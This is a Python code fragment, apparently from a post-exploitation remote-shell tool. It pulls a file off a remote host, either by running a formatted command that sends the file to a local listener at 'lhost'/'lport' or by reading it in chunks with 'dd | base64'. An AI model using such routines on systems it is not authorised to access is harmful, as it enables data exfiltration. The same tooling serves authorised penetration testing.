            def on_progress(copied, blocksz):
                """ Update the progress bar """
                counter.items_completed += blocksz
                if counter.items_completed >= counter.total:
                    counter.done = True
                    counter.stopped = True
                if (time.time() - last_update) > 0.1:
                    pb.invalidate()

            if method is not None:
                server = servers[method[0]](outfile, name, progress=on_progress)

                command = method[1].format(
                    remote_file=shlex.quote(path),
                    lhost=self.vars["lhost"],
                    lfile=name,
                    lport=server.server_address[1],
                )
                print(command)
                result = self.run(command, wait=False)
            else:
                server = None
                with open(outfile, "wb") as fp:
                    copied = 0
                    for chunk_nr in range(0, size, 8192):
                        encoded = self.run(
                            f"dd if={shlex.quote(path)} bs=8192 count=1 skip={chunk_nr} 2>/dev/null | base64"
                        )
                        chunk = base64.b64decode(encoded)
                        fp.write(chunk)
                        copied += len(chunk)
                        on_progress(copied, len(chunk))

            try:
                while not counter.done:
                    time.sleep(0.1)
            except KeyboardInterrupt:
                pass
            finally:
                if server is not None:
                    server.shutdown()

            # https://github.com/prompt-toolkit/python-prompt-toolkit/issues/964
            time.sleep(0.1)